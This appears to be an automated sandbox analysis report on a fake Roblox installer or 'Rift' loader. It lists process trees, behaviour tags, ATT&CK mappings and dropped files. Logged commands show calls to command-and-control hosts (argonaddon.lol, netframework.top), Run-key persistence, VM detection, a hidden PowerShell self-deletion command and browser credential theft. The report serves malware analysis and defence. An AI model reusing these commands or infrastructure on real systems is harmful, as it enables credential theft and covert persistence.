C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=45 --always-read-main-dll --metrics-shmem-handle=5484,i,16686912242561475666,17906225844816205178,2097152 --field-trial-handle=2256,i,14286154373241724870,17820384506378409336,262144 --variations-seed-version --mojo-platform-channel-handle=8176 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --lang=en-US --service-sandbox-type=collections --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7020,i,8445679265258111712,8511214776624661179,524288 --field-trial-handle=2256,i,14286154373241724870,17820384506378409336,262144 --variations-seed-version --mojo-platform-channel-handle=8360 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=47 --always-read-main-dll --metrics-shmem-handle=8324,i,3638300101281354499,7779098475265751073,2097152 --field-trial-handle=2256,i,14286154373241724870,17820384506378409336,262144 --variations-seed-version --mojo-platform-channel-handle=8388 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=8668,i,6868315449969142941,18080279666514358011,524288 --field-trial-handle=2256,i,14286154373241724870,17820384506378409336,262144 --variations-seed-version --mojo-platform-channel-handle=8660 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=8696,i,15421499167171441210,5739097121578026525,524288 --field-trial-handle=2256,i,14286154373241724870,17820384506378409336,262144 --variations-seed-version --mojo-platform-channel-handle=8804 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=8120,i,6370797832519555892,17132726663044898582,524288 --field-trial-handle=2256,i,14286154373241724870,17820384506378409336,262144 --variations-seed-version --mojo-platform-channel-handle=8580 /prefetch:85⤵
-
-
C:\Users\Admin\Downloads\RobloxPlayerInstaller.exe"C:\Users\Admin\Downloads\RobloxPlayerInstaller.exe"5⤵
- Executes dropped EXE
- Checks whether UAC is enabled
- Drops file in Program Files directory
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Modifies registry class
-
C:\Program Files\Roblox\Versions\version-17d504d2c9544583\RobloxPlayerBeta.exe"C:\Program Files\Roblox\Versions\version-17d504d2c9544583\RobloxPlayerBeta.exe" -app -installerLaunchTimeEpochMs 0 -clientLaunchTimeEpochMs 0 -isInstallerLaunch 17086⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=8392,i,2571096451968410659,6566721183628385997,524288 --field-trial-handle=2256,i,14286154373241724870,17820384506378409336,262144 --variations-seed-version --mojo-platform-channel-handle=8532 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6500,i,9117229471352483913,15513491229496397190,524288 --field-trial-handle=2256,i,14286154373241724870,17820384506378409336,262144 --variations-seed-version --mojo-platform-channel-handle=8164 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_xpay_wallet.mojom.EdgeXPayWalletService --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=8512,i,5075474760994458357,2149893396151952790,524288 --field-trial-handle=2256,i,14286154373241724870,17820384506378409336,262144 --variations-seed-version --mojo-platform-channel-handle=9084 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7416,i,10330791962289660364,15194671949824431716,524288 --field-trial-handle=2256,i,14286154373241724870,17820384506378409336,262144 --variations-seed-version --mojo-platform-channel-handle=8528 /prefetch:85⤵
-
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=8868,i,16214169048018513891,15588899930809278845,524288 --field-trial-handle=2300,i,14564476450681854386,2931946483016420917,262144 --variations-seed-version --mojo-platform-channel-handle=9036 /prefetch:83⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=8948,i,9559057453149546593,12312731073197254048,524288 --field-trial-handle=2300,i,14564476450681854386,2931946483016420917,262144 --variations-seed-version --mojo-platform-channel-handle=8228 /prefetch:83⤵
-
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\540cad130c772e4e\WMI540cad.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\540cad130c772e4e\WMI540cad.exe"2⤵
- Downloads MZ/PE file
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\Cache\SearchHost.exe"C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\Cache\SearchHost.exe" --o Rift3⤵
- Looks for VirtualBox drivers on disk
- Looks for VMWare drivers on disk
- Executes dropped EXE
- Enumerates system info in registry
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"4⤵
- Loads dropped DLL
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"4⤵
- Loads dropped DLL
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command "$ErrorActionPreference='SilentlyContinue'; Start-Sleep -Seconds 2; $p='C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\Cache\SearchHost.exe'; for($i=0;$i -lt 40;$i++){ if(-not (Test-Path -LiteralPath $p)){ break }; Remove-Item -LiteralPath $p -Force -ErrorAction SilentlyContinue; Start-Sleep -Milliseconds 400 }"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\Cache\RuntimeBroker.exe"C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\Cache\RuntimeBroker.exe" --u Rift --s https://argonaddon.lol --sb https://netframework.top,https://argonaddon.lol --wp /637755f5efd017953e93fab0 --cp /813ff59853da4b52667165cb --loader3⤵
- Looks for VirtualBox drivers on disk
- Looks for VMWare drivers on disk
- Executes dropped EXE
- Adds Run key to start application
- Enumerates system info in registry
-
C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\Cache\RuntimeBroker.exe"C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\Cache\RuntimeBroker.exe" --watchdog 5696 --u Rift --s https://argonaddon.lol --sb https://netframework.top,https://argonaddon.lol --wp /637755f5efd017953e93fab0 --cp /813ff59853da4b52667165cb --loader4⤵
- Looks for VirtualBox drivers on disk
- Looks for VMWare drivers on disk
- Executes dropped EXE
- Enumerates system info in registry
-
-
-
C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\Cache\WinPKG.exe"C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\Cache\WinPKG.exe"3⤵
- Looks for VirtualBox drivers on disk
- Looks for VMWare drivers on disk
- Executes dropped EXE
- Enumerates system info in registry
-
-
C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\Cache\Sysfun32.exe"C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\Cache\Sysfun32.exe"3⤵
- Looks for VirtualBox drivers on disk
- Looks for VMWare drivers on disk
- Executes dropped EXE
- Enumerates system info in registry
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://discord.com/api/oauth2/authorize?client_id=1527313012770472096&response_type=code&scope=identify%20guilds.join&redirect_uri=https%3A%2F%2Fgetrift.lol%2Fapi%2Fdiscord%2Fcallback&state=f589880b94a5e5f0489630d17c35fa0241a660a34f9004f72⤵
-
-
C:\Windows\System32\GameBarPresenceWriter.exe"C:\Windows\System32\GameBarPresenceWriter.exe" -ServerName:Windows.Gaming.GameBar.Internal.PresenceWriterServer1⤵
- Network Service Discovery
-
C:\Windows\system32\OpenWith.exeC:\Windows\system32\OpenWith.exe -Embedding1⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k BcastDVRUserService -s BcastDVRUserService1⤵
- Drops desktop.ini file(s)
- Checks processor information in registry
- Modifies registry class
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Windows\system32\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\huh.txt1⤵
- Opens file in notepad (likely ransom note)
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files\WindowsRuntime\WinRT.exe"C:\Program Files\WindowsRuntime\WinRT.exe" --u Rift --s https://argonaddon.lol --sb https://netframework.top,https://argonaddon.lol --wp /637755f5efd017953e93fab0 --cp /813ff59853da4b52667165cb --loader1⤵
- Looks for VirtualBox drivers on disk
- Looks for VMWare drivers on disk
- Executes dropped EXE
- Enumerates system info in registry
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k BcastDVRUserService -s BcastDVRUserService1⤵
- Checks processor information in registry
- Modifies registry class
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k BcastDVRUserService -s BcastDVRUserService1⤵
- Checks processor information in registry
- Modifies registry class
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start1⤵
-
C:\Windows\system32\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\huh.txt1⤵
- Opens file in notepad (likely ransom note)
-
C:\Program Files\Roblox\Versions\version-17d504d2c9544583\RobloxPlayerBeta.exe"C:\Program Files\Roblox\Versions\version-17d504d2c9544583\RobloxPlayerBeta.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of NtSetInformationThreadHideFromDebugger
Network
MITRE ATT&CK Enterprise v16
Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
2Credentials In Files
2Discovery
Browser Information Discovery
1File and Directory Discovery
2Network Service Discovery
1Query Registry
5System Information Discovery
5System Network Configuration Discovery
1Internet Connection Discovery
1System Time Discovery
1Virtualization/Sandbox Evasion
2Replay Monitor
Loading Replay Monitor...
Downloads
RobloxStudioInstaller.exe
103621DE9CD5414CC2538780B4B75751
1B1495DD322A24490E2BF2FAABAE1C61
22D536C4B4AD2CEF7AC6B7789FD235E3
C98114079D572AD1B491200608D7D106
103621DE9CD5414CC2538780B4B75751
1B1495DD322A24490E2BF2FAABAE1C61
22D536C4B4AD2CEF7AC6B7789FD235E3
C98114079D572AD1B491200608D7D106
RuntimeBroker.exe
SearchHost.exe
settings.dat
settings.dat
settings.dat
settings.dat
settings.dat
549195ef-2d88-46ac-a0a0-3eced67d7e95.tmp
646b8067-3577-458f-974b-11fb810a1eb3.tmp
LOG.old
f_000090
f_000091
f_000092
f_000093
f_000094
f_000095
f_000096
f_000097
f_000098
f_00009f
f_0000a0
f_0000a3
f_0000a4
f_0000a5
f_0000a9
f_0000aa
f_0000af
f_0000b5
f_0000c4
f_0000c7
f_0000cb
f_0000cc
f_0000ce
f_0000d2
f_0000d3
f_0000d4
f_0000d5
the-real-index
the-real-index
the-real-index
the-real-index
the-real-index
the-real-index
the-real-index
the-real-index
the-real-index~RFe58c668.TMP
data_1
a60e2ef1-56fd-4cb7-8105-5b8e595551f8.tmp
Edge Profile.ico
000003.log
CURRENT
LOG.old
MANIFEST-000001
000003.log
Cookies
Network Persistent State
Network Persistent State
Network Persistent State
Network Persistent State
Network Persistent State
Network Persistent State
Network Persistent State
Network Persistent State
Network Persistent State
SCT Auditing Pending Reports
Sdch Dictionaries
Sdch Dictionaries
Sdch Dictionaries
Sdch Dictionaries~RFe59ed92.TMP
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Secure Preferences
Secure Preferences
the-real-index
the-real-index
the-real-index
the-real-index~RFe5a5100.TMP
the-real-index
the-real-index
the-real-index~RFe594721.TMP
the-real-index
the-real-index
the-real-index
the-real-index~RFe5a5100.TMP
the-real-index~RFe5fd896.TMP
4f2277ea2139c475_0
the-real-index
the-real-index
the-real-index
the-real-index~RFe5fd114.TMP
623cd082b6202da0_0
the-real-index
the-real-index
the-real-index
the-real-index
index.txt
index.txt
index.txt
index.txt
index.txt
index.txt
index.txt
index.txt
index.txt
index.txt~RFe5a951d.TMP
index
the-real-index
the-real-index~RFe5fe98e.TMP
index.txt
index.txt~RFe5fe9cc.TMP
ba23d8ecda68de77_0
the-real-index
the-real-index
the-real-index~RFe599cb3.TMP
sync_diagnostic.log
ca954060-1f8c-4f75-8c4e-6ce489b5e13e.tmp
Local State
Local State
Local State
Local State
Local State
Local State
Local State
Local State
Local State
Local State
Local State
Local State
Local State
Local State
Local State
Local State
Local State
Local State
RevisitationBloomfilter
RevisitationBloomfilter
RevisitationBloomfilter
RevisitationBloomfilter
RevisitationBloomfilter
RevisitationBloomfilter
RevisitationBloomfilter
RevisitationBloomfilter
RevisitationBloomfilter
RevisitationBloomfilter
RevisitationBloomfilter~RFe59af32.TMP
metadata.json
metadata.json
metadata.json
metadata.json
metadata.json
metadata.json
metadata.json
metadata.json
metadata.json
metadata.json
metadata.json
metadata.json
metadata.json
metadata.json
metadata.json
metadata.json
5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres
rt.cfg
WMI540cad.exe
Rift.dll
4563382346798527842.dll
52724cc3-8f99-4fb3-a406-cff629f42c86.tmp
__PSScriptPolicyTest_4ctntggn.32i.ps1
content_new.js
default.dic
huh.txt
rift-crash.log
rift-crash.log
Rift (1).exe.crdownload
RobloxPlayerInstaller.exe.crdownload
desktop.ini
Other
LICENSE
memory/632-4936-0x00007FF773BB0000-0x00007FF773BFB000-memory.dmp
memory/5512-1956-0x00007FF6EE0F0000-0x00007FF6EE757000-memory.dmp
memory/5512-1932-0x00007FF6EE0F0000-0x00007FF6EE757000-memory.dmp
memory/5616-1967-0x0000024C66D10000-0x0000024C66D32000-memory.dmp
memory/5636-1827-0x00007FF773BB0000-0x00007FF773BFB000-memory.dmp
memory/5636-1819-0x00007FF773BB0000-0x00007FF773BFB000-memory.dmp